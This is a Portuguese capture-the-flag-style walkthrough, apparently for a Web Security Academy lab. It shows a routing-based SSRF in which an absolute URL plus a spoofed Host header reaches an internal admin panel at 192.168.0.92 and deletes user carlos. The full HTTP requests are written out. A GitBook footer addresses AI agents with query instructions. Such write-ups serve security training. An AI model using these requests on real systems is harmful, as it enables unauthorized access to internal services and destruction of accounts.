> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/host-header/ssrf-via-incorrect-request-parsing.md).

# SSRF via Análise Incorreta da Requisição

### SSRF via análise incorreta de requisição

Este laboratório é vulnerável a uma **SSRF baseada em roteamento**. O servidor interpreta incorretamente o host realmente alvo da consulta. O objetivo é acessar o painel de administração interno e, em seguida, excluir o usuário **carlos**.

### Observação inicial

Edite diretamente o `Host` cabeçalho não funciona. A requisição continua bloqueada.

```http
Host: jord4n.pro
```

<figure><img src="/files/572bc21d5a643272f29a7617b3721b655570592d" alt=""><figcaption></figcaption></figure>

### Contornando o parsing

O ponto principal aqui é o formato da requisição. Ao usar uma **URL**, a aplicação tenta resolver o host indicado na linha de requisição. O `Host` cabeçalho então passa a ser secundário.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

A resposta confirma esse comportamento. O servidor está tentando alcançar `test.com`.

```html
<h1>
    Erro do servidor: tempo limite do gateway (3) ao se conectar a test.com
</h1>
```

<figure><img src="/files/50d396c39826f5c6b8e176c371e3d181f7087e71" alt=""><figcaption></figcaption></figure>

### Descoberta de host interno

Agora podemos varrer a faixa interna `192.168.0.0/24` . A forma mais simples é usar **Intruder** no último byte.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

O `192.168.0.92` endereço responde com `302` código. Esta resposta indica a presença do painel de administração.

<figure><img src="/files/3f2b9593d34f60787c457039950c5f7951c4644f" alt=""><figcaption></figcaption></figure>

### Remoção do usuário

Depois de identificar o host interno, abrimos `/admin`. Em seguida, recuperamos o token CSRF da página. Basta enviar a requisição de exclusão ao host interno.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

A remoção de **carlos** valida o laboratório.

<figure><img src="/files/bcd5341423ed78acd58b1f1767ea3bae9724de82" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/host-header/ssrf-via-incorrect-request-parsing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
